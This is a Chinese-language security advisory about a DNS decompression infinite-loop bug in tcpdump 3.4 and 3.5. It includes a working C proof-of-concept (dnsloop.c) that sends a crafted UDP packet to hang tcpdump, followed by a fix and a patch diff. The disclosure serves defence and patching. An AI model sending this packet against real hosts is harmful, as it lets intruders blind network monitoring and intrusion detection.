安全研究

安全漏洞
Tcpdump DNS 解码漏洞

发布日期:2000-05-07
更新日期:2000-05-08

受影响系统:

    LBL tcpdump 3.5
    LBL tcpdump 3.4

描述:

LBL tcpdump在监听过程中试图解析DNS请求查询报文,但是DNS解码部分存在一个问
题。DNS命名机制采用了压缩策略,完全可以创建一个DNS报文,使得tcpdump抓到该
包进行名字解压处理的时候进入无限循环,于是tcpdump无法处理后续报文。如果
tcpdump正好用于入侵检测系统,利用这个漏洞入侵者就可以避开监视系统。如果
tcpdump并不在线显示,而是保存到日志文件中,就不会立即受该漏洞影响,因为并
没有企图解析DNS报文。然而,利用tcpdump读取日志文件离线显示的时候,该漏洞
依旧有效。

<* 来源:   bretonh@PARANOIA.PGCI.CA *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*
* dnsloop.c by Hugo Breton (bretonh@pgci.ca)
* This program illustrates the bug in tcpdump when handling jumps in the DNS
* hostname decompression.
*/

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

int main ( int argc, char * argv[] )
{
    char               p[18];
    int                sock;
    struct sockaddr_in sin;
    struct hostent *   hoste;

    printf( "dnsloop.c by Hugo Breton (bretonh@pgci.ca)\n" );
    if ( argc < 2 )
    {
        printf( "usage: %s host\n", argv[0] );
        return( 0 );
    }
    bzero( ( void * )&sin, sizeof( sin ) );
    sin.sin_family = AF_INET;
    sin.sin_port   = htons( 53 );
    if ( ( sin.sin_addr.s_addr = inet_addr( argv[1] ) ) == -1 )
    {
        if ( ( hoste = gethostbyname( argv[1] ) ) == NULL )
        {
            printf( "unknown host %s\n", argv[1] );
            return( 0 );
        }
        bcopy( hoste->h_addr, &sin.sin_addr.s_addr, 4 );
    }
    bzero( ( void * )p, 18 );
    *( ( unsigned short * )( p + 0 ) )  = htons( 867 - 5309 );
    *( ( unsigned short * )( p + 4 ) )  = htons( 1 );
    *( ( unsigned short * )( p + 12 ) ) = htons( 32768 + 16384 + 12 );
    *( ( unsigned short * )( p + 14 ) ) = htons( 1 );
    *( ( unsigned short * )( p + 16 ) ) = htons( 1 );
    if( ( sock = socket( AF_INET, SOCK_DGRAM, 0 ) ) == -1 )
    {
        printf( "unable to create UDP socket\n" );
        return( 0 );
    }
    if( sendto( sock, p, 18, 0, ( struct sockaddr * )&sin, sizeof( sin ) ) == -1 )
    {
        printf( "unable to send packet\n" );
        return( 0 );
    }
    printf( "packet sent to host %s\n", argv[1] );
    return( 0 );
}

<* 来源:Hugo Breton bretonh@paranoia.pgci.ca *>

解决方案:

Hugo Breton建议用如下代码替换原来的 ns_nprint 函数:

static const u_char * ns_nprint
( register const u_char * cp, register const u_char * bp )
{
    register u_int          i, j;
    register const u_char * rp;
    register int            compress;

    i  = *cp++;
    j  = 0;
    rp = cp + i;
    if ( ( i & INDIR_MASK ) == INDIR_MASK )
    {
        rp       = cp + 1;
        compress = 1;
    }
    else
    {
        compress = 0;
    }
    if ( i != 0 )
    {
        while ( ( i && cp < snapend ) && ( j < 256 ) )
        {
            j++;
            if ( ( i & INDIR_MASK ) == INDIR_MASK )
            {
                cp = bp + ( ( ( i << 8 ) | *cp ) & 0x3fff );
                i  = *cp++;
                continue;
            }
            if ( fn_printn( cp, i, snapend ) )
            {
                break;
            }
            cp += i;
            putchar( '.' );
            i = *cp++;
            if ( !compress )
            {
                rp += i + 1;
            }
        }
    }
    else
    {
        putchar( '.' );
    }
    return( rp );
}

建议:
一个临时的补丁程序:

--- print-domain.orig Wed May 3 23:33:13 2000
+++ print-domain.c Thu May 4 00:22:05 2000
@@ -150,6 +150,7 @@
{
         register u_int i;
         register const u_char *rp;
+ register const u_char *old = NULL;
         register int compress;


         i = *cp++;
@@ -162,8 +163,17 @@
         if (i != 0)
                 while (i && cp < snapend) {
                         if ((i & INDIR_MASK) == INDIR_MASK) {
- cp = bp + (((i << 8) | *cp) & 0x3fff);
- i = *cp++;
+ cp = bp + (((i << 8) | *cp) & 0x3fff);
+
+ /*
+ * If we got two time the same data ptr,
+ * this mean we are looping.
+ */
+ if ( cp == old)
+ return NULL;
+ old = cp;
+
+ i = *cp++;
                                 continue;
                         }
                         if (fn_printn(cp, i, snapend))




浏览次数:6659
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障